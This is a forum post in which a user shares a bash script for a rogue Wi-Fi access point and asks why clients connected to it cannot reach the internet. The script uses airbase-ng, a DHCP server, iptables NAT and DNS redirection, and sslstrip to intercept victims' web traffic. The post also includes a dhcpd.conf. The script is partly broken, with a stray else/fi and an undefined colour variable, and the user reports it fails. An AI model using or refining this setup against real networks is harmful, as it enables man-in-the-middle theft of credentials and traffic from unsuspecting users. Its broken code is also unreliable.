#!/bin/bash
Hello all !
I read a lot about Rogues AP and now i've made a script to try to make it workable.
My knowledge is apparently low but i try to understand all, so here is my script :
Code:
#############################
# _______________________________________ #
# | My Fake AP SCRIPT | #
# | | #
# | Script Made by Carto_ | #
# | | #
# | VERSION ONE | #
# |_____________________________________| #
# #
# #
# Carto_ [] #
# #
# #
# #
#################################################
killall -9 dhcpd tcpdump airbase-ng
airmon-ng stop mon0
airmon-ng stop mon1
airmon-ng stop mon2
echo "Activating IP FORWARD";
echo 1 > /proc/sys/net/ipv4/ip_forward;
cat /proc/sys/net/ipv4/ip_forward;
echo -e "$GREEN""***[ ACTIVATION SUCCESS ]***""$END" ;
echo "Connected interface (wlan0, eth0 ?)";
read IFACE;
echo
echo "Interface used to create the Rogue AP (wlan0, wlan1)";
read WIFACE
airmon-ng start $WIFACE
modprobe tun
echo "What is the name of your Fake AP ? "
read NAME_AP
xterm -hold -e airbase-ng -P -C 30 -c 10 -e $NAME_AP -v mon0 &>/dev/null &
sleep 2
modprobe tun ;
ifconfig at0 up ;
ifconfig at0 192.168.1.129 netmask 255.255.255.128 ;
ifconfig at0 mtu 1400 ;
route add -net 192.168.1.128 netmask 255.255.255.128 gw 192.168.1.129 ;
mkdir -p /var/run/dhcpd && chown dhcpd:dhcpd /var/run/dhcpd
echo > '/var/lib/dhcp3/dhcpd.leases'
xterm -hold -e dhcpd3 -d -f -cf /root/dhcpd/dhcpd.conf -pf /var/run/dhcpd/dhcpd.pid at0 &> /dev/null &
sleep 2
echo
echo "What's your DNS SERVER ? (80.10.246.2 for the Livebox and 212.27.40.240 for Freebox )";
read DNS
iptables --flush ;
iptables --table nat --flush ;
iptables --delete-chain ;
iptables --table nat --delete-chain ;
iptables --table nat --append POSTROUTING --out-interface $IFACE -j MASQUERADE ;
iptables --append FORWARD --in-interface at0 -j ACCEPT ;
iptables -t nat -A PREROUTING -p udp -j DNAT --to $DNS ;
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000 ;
xterm -hold -e sslstrip -a -k -f &> /dev/null &
sleep 2
echo
echo "SCRIPT IS WORKING, ATTENDING VICTIM'S CONNEXION ... "
else
echo "Try Again without making mistakes, looser !"
fi
So, it don't work for me ... here is my configuration :
- Freebox on 192.192.168.1.1
- BT4 R1 Live on my first Laptop
- Internet with the cart attached to the laptop
- Rogue AP with my Alpha 36H
- A Macbook pro to try to connect to the Rogue AP
- An iPhone to try to connect to the Rogue Ap too
When i'm connected with the iPhone or/and with the Macbook to the Rogue AP i can't surf on the internet but i can ping the iPhone with my Macbook, and i have IP on the two (iPhone and Macbook).
So, i don't understand at all why it's isn't working well ...
My script is apparently so stupid but i can't find why ... If you have some time to help me, it will be soooo nice.
I hope that my problem can find a solution and i apologize for my english which is not very good.
Your faithfully,
Carto_
I just forgot an important point, here is the dhcpd.conf i use :
Code:
ddns-update-style ad-hoc;
default-lease-time 600;
max-lease-time 7200;
authoritative;
subnet 192.168.1.128 netmask 255.255.255.128 {
option subnet-mask 255.255.255.128;
option broadcast-address 192.168.1.255;
option routers 192.168.1.129;
option domain-name-servers 192.168.1.1;
range 192.168.1.130 192.168.1.140;
}
Thx in advance for your help !
Apparently, the problem comes from the DHCP part of the script. Is anyone have an idea about it ?
Thx in advance !
Carto_